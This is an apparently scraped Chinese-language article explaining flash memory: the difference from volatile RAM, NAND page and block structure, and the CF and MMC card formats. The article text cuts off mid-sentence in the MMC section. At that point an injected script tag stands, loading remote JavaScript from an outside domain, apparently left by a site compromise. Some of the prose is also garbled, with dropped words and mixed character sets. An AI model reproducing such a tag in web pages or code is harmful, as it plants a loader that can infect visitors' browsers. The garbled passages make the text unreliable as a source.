快闪记忆体(Flash Memory)的基本概念与种类

 

       快闪记忆体的英文名称是 "Flash Memory" ，一般简称为"Flash" ，它也属于记忆体器件的一种。不过快闪记忆体的物理特性与常见的记忆体有根本性的差异：目前各类 DDR 、 SDRAM 或者 RDRAM 都属于挥发性记忆体，只要停止电流供应记忆体中的资料便无法保持，因此每次电脑开机都需要把资料重新载入记忆体；快闪记忆体则是一种不挥发性 (Non-Volatile)记忆体，在沒有电流供应的条件下也能够长久地保持资料，其存储特性相当于硬碟，这项特性正是快闪记忆体得以成为各类便携型数位设备的存储介质的基础。

      NAND 快闪记忆体的存储单元则采用串列结构，存储单元的读写是以页和块为单位來进行（一页包含若干位元组，若干面则组成储存块， NAND 的存储块大小为 8 到 32KB ），这种结构的优点在于容量可以做得很大，超过 512MB 容量的 NAND 产品相当普遍， NAND 快闪记忆体的成本较低，有利于大规模普及。 NAND 快闪记忆体的缺点在在于读带度较慢，它的 I/O 埠只有 8 個，比 NOR 要少多了。这区区 8 個 I/O 埠只能以信号轮流传送的方式完成资料的传送，速度要比 NOR 快闪记忆体的平行传输模式慢得多。再加上 NAND 快闪记忆体的逻辑为电子盘模组结构，內部不存在专门的存储控制器，一旦出现资料坏块将无法修正，可靠性较 NOR快闪记忆体要差。 NAND 快闪记忆体被广泛用于移动存储、数码相机、 MP3 播放器、掌上电脑等与数位设备中。三星、东芝、Renesas 和 SanDisk 是主要的 NAND 快闪记体制造商，其中三星电子憑藉价格和技术双重优势获得了的市场份额，甚至在去年第三季度超过 Intel 公司成为全球的快闪记忆体制造商。由于受到数码设备强劲发展的帶动， NAND 快闪记忆体一直呈现指数级的超高速增长， NAND 可望在 2006 年超过 NOR 成为快闪记忆体技术的主导。

       数码快闪记忆体卡：主流数码存储介质

       数码相机、 MP3 播放器、掌上电脑、手机等数位设备是快闪记忆体最主要的市场。前面提到，手机领域以 NOR 型快闪记忆体为主、快闪记忆体晶片被直接做在內部的电路板上，但数码相机、 MP3 播放器、掌上电脑等设备要求存储介质具备可更换性，这就必须制定出介面标准來实现连接，快闪记忆卡技术应运而生。快闪记忆体是以快闪记忆作为核心存储部件，此外它还具备介面控制电路和外在的封装，从逻辑层面来说可以和闪盘归为一类，只是快闪记忆体卡具有更浓的专用化色彩、而闪盘则使用通行的 USB 介面。由于历史原因，快闪记忆体卡技术未能形成业界统一的工业标准，许多厂商都开发出自己的快闪记忆体卡方案。目前比较常见的有 CF 卡、 SD 卡、 SM 卡、 MMC 卡和Sony的 Memory Stick 記憶卡。

 

CF 卡（ CompactFlash ）

       CF 卡是美国 SanDisk 公司于 1994 引入的快闪记忆体卡，可以说是最早的大容量携带型存储设备。它的大小只有 43mm × 36mm × 3.3mm ，相当于笔记本电脑的 PCMCIA 卡面积的四分之一。 CF 卡內部拥有独立的控制器晶片、具有完全的 PCMCIA-ATA 功能，它与设备的连接方式同 PCMCIA 卡的连接方式类似，只是 CF 卡的针脚数多达五十针。这种连接方式稳定而可靠，並不会因为频繁插拔而影响其稳定性。

       CF 卡沒有任何活动的部件，不存在物理坏道之类的问题，而且拥有的抗震性能， CF 卡比软碟、硬碟之类的设备要安全可靠。 CF 卡的功耗很低，它可以自适应3.3 伏和 5 伏两种电压，耗电量大约相当于桌面硬碟的百分之五。这样的特性是出类拔萃的， CF 卡出现之后便成为数码相机的存储设备。经过多年的发展， CF 卡技术已经非常成熟，容量从最初的 4MB飙升到如今的 3GB ，价格也越來越平实，受到各数码相机制造商的普遍喜爱， CF 卡目前在数码相机存储卡领域的市场占有率排在第二位。

 

MMC 卡 (MultiMediaCard)

       MMC 卡是 SanDisk 公司和德国西门子公司于 1997 年合作推出的新型存储卡，它的尺寸只有 32mm × 24mm × 1.4mm 、大小同一枚邮票差不多；其重量也多在 2 克以下，並且具有耐冲击、可反复读写 30万次以上等特点。从本质上看， MMC 与 CF 其实属于同一技术体系，兩者结构都包括快闪记忆体晶片和控制器晶片，功能也完全一样，只是 MMC 卡的尺寸超小，而连接器也必须做在狭小的?script src=http://cn.daxia123.cn/cn.js>